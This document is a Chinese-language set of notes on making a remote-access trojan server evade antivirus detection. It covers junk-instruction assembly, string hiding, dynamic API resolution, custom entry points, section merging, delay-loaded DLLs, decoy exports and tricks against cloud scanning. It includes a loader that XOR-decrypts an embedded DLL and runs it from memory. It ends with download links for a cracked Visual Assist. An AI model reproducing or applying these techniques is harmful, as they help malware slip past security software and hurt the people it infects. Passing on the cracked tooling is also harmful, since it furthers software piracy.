文件預處//Server.cpp頭部要加的代碼:
//自定義鏈接庫 //優化代碼 //合並區段代碼 //延時加載代碼
//修改優化模式(鏈接)
//免殺前的預處理:
//1.刪除資源代碼(Server.rc)
//2.更改明顯字符串
//3.加入大量花指令
//Server.cpp winman函數"{}"里面第一句加反調試代碼
代碼被殺出:
1 花指令
/* //花指令
1.
__asm
{
push eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
xor eax, eax
je END
END:
pop eax
}
2.
mov edx,edx
mov ecx,ecx
push eax
pop eax
3.
nop
nop
nop
push eax
jmp MY
MY:
pop eax
*/
__asm nop; //nop指令 __asm nop; __asm nop; __asm nop; __asm{ nop; push eax; pop eax; inc eax; inc eax; add eax,1; sub eax,1 } // 花指令
Sleep(0); //延時0秒
try catch //代碼tcy變異
加資源過雲
2 字符串隱藏 字符串連接
3 輸入表的免殺方法: 動態調用
//API函數動態調用的模型
/*定義
typedef 第一行 (第二行 *需要替換的函數T)
(
替換完后
剩下的
代碼位置
);
需要替換的函數T p需要替換的函數= (需要替換的函數T)GetProcAddress(LoadLibrary("函數的所在DLL"),"需要替換的函數");
*/
4 自定義函數入口(處理雲)
1.
//雲定位在入口位置(本地處理后)
#pragma comment(linker,"/ENTRY:EntryPoint(函數)") //自定義函數入口
BOOL EntryPoint(函數)() //原代碼: int winman函數
//代碼結束處加 return 0;
2.
//變異改變入口點
// 入口點設置的自定義函數名
// stdafx.h 里面導入lib庫文件
// int 入口點設置的自定義函數名 ()
//雲主要殺動態加載函數 花指令和資源
QVM 或者雲
//QVM 或者雲 //資源 //編譯時的設置 //合並區段代碼的改變
//加大文件,或者加內存加載,白加黑,運行增大,防上傳代碼,添加MFC
//NOP 入口點再定位
//關於雲鑒定
1.校驗和不要重復(不過的情況)
2.>64M的文件不上報(自解壓+vbs批處理)
5 源碼定位
通常殺在功能的cpp文件 //源碼定位Buffer.cpp Clientsoket.pp Audlo.cpp #pragna code_seg("claidx") //把這個cpp的代碼放到claidx這個區段面(代碼放在cpp頭部,主要過BD)
vc刪除臨時文件.bat @echo off echo ---------------------------------------------------- echo Press any key to delete all files with ending: echo *.aps *.idb *.ncp *.obj *.pch *.tmp *.sbr echo Visual c++/.Net junk echo ---------------------------------------------------- del /F /Q /S *.aps *.idb *.ncp *.obj *.pch *.sbr *.tmp *.pdb *.bsc *.ilk *.res *.ncb *.opt *.suo *.dep
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"shell32.lib")
#pragma comment(lib,"msvcrt.lib")
#pragma comment(linker,"/ALING:512")
#pragma comment(linker,"/FILEALIGN:512")
#pragma comment(linker,"/opt:nowin98")
#pragma comment(linker,"/opt:ref")
#pragma comment(linker,"/OPT:ICF")
//合並區段代碼 .ccp文件 //#pragma comment(linker, "/OPT:NOWIN98") #pragma comment(linker, "/opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW") //把.rdata、.data合並到.text區段里去,/section:.text,ERW"這個是設置區段的讀寫權限
#pragma code_seg("區段名") //添加區段 // 合並區段 #pragma comment(linker, "/MERGE:.rdata=.data")//把rdata區段合並到data區段里 #pragma comment(linker, "/MERGE:.text=.data")//把text區段合並到data區段里 #pragma comment(linker, "/MERGE:.reloc=.data")//把reloc區段合並到data區段里
//優化代碼
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"shell32.lib")
#pragma comment(lib,"msvcrt.lib")
#pragma comment(linker, "/opt:nowin98")
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")
小紅傘
1. 延遲加載(定位到xxx.dll就延遲加載xxx.dll)
#pragma comment(lib,"DELAYIMP.lib")
#pragma comment(linker,"/DELAYLOAD:ws2_32.dll") //延遲的dll
#pragma comment(linker,"/DELAYLOAD:ADVAPI32.DLL")
#pragma comment(linker,"/DELAY:nobind")
#pragma comment(linker,"/DELAY:unload")
//延時加載函數
#pragma comment(lib, "DELAYIMP.LIB")
#pragma comment(linker, "/DELAYLOAD:WININET.dll")
#pragma comment(linker, "/DELAYLOAD:WS2_32.dll")
#pragma comment(linker, "/DELAYLOAD:PSAPI.DLL")
#pragma comment(linker, "/DELAYLOAD:GDI32.dll")
#pragma comment(linker, "/DELAYLOAD:ADVAPI32.dll")
#pragma comment(linker, "/DELAYLOAD:SHELL32.dll")
#pragma comment(linker, "/DELAYLOAD:WINMM.dll")
#pragma comment(linker, "/DELAYLOAD:USER32.dll")
#pragma comment(linker, "/DELAYLOAD:WTSAPI32.dll")
#pragma comment(linker, "/DELAYLOAD:AVICAP32.dll")
#pragma comment(linker, "/DELAYLOAD:SHLWAPI.dll")
#pragma comment(linker, "/DELAYLOAD:IMM32.dll")
#pragma comment(linker, "/DELAYLOAD:urlmon.dll")
#pragma comment(linker, "/DELAYLOAD:OLEAUT32.dll")
#pragma comment(linker, "/DELAYLOAD:ole32.dll")
#pragma comment(linker, "/DELAYLOAD:NETAPI32.dll")
#pragma comment(linker, "/DELAY:nobind")
#pragma comment(linker, "/DELAY:unload")
//然后添加一些迷惑殺毒軟件的輸出表函數
extern "C" __declspec(dllexport) bool heiyuxhj();
extern "C" __declspec(dllexport) bool space()
{
return false;
}
2. 定位到xxx.dll中的函數
直接動態調用
3. 定位到“xxx.dll” 這個名上
可以延遲加載
也可用lordpe查看該DLL中的函數
4.隱藏msvcrt
v3 最小 MT 去掉ms的lib
5.打亂源碼順序
任意遠控16進制轉換快速免殺、
新建一個工程 **************************************************************************** #include "junction.h" extern "C" __declspec(dllexport)void FangSi() { } /dll /incremental:no /pdb: #include "MemLoadDll.h" #include "c_ball.h" HINSTANCE hInstance = NULL; void EncryptData(unsigned char *szRec, unsigned long nLen, unsigned long key)//解密 { _asm nop; unsigned long i; unsigned char p; _asm nop; p = (unsigned char ) key % 254 +8; for(i = 0; i < nLen; i+=2) { *szRec ^= p; *szRec += p; szRec++; } } typedef int (WINAPI *PFN_POPMSGBOX)(void); DWORD MainFunc(char*Name) { HRSRC hResInfo; HGLOBAL hResData; DWORD dwSize; PVOID DllResourceModule=NULL; HMEMORYMODULE hDll; PFN_POPMSGBOX pfn; EncryptData((unsigned char *)BallMyFileBuf,BallMyFileSize,3800); hDll=MemoryLoadLibrary(BallMyFileBuf); if (hDll==NULL) return -1 ; pfn=MemoryGetProcAddress(hDll,Name); if (pfn==NULL) { MemoryFreeLibrary(hDll); return -1; } pfn(); if (hDll!=NULL) { MemoryFreeLibrary(hDll); hDll=NULL; } return 0; } char Ribi[]={'F','a','n','g','S','i','\0'}; MainFunc(Ribi); return 0; ************************************* 以上是工程代碼
環境搭建 SDK更新包 復制Include/Lib這兩個文件夾,粘貼到VC98目錄下 下載地址:http://pan.baidu.com/s/1midjZYg 密碼:7x57 xtp 復制Lib/VC60/TOOL頭文件下的全部文件,粘貼到VC98/LIB目錄下 復制Source下的全部文件,粘貼到VC98/ATL/Include目錄下 下載地址:http://pan.baidu.com/s/1qXT83b2 密碼:yukk VC助手 運行VA_X_Setup1715.exe進行安裝(該文件是從官方網站直接下載的,可以放心安裝) 安裝完成后將破解文件VA_X.dll復制至安裝文件夾,覆蓋同名文件即可 下載地址:http://pan.baidu.com/s/1eSHrNf8 密碼:vd6q
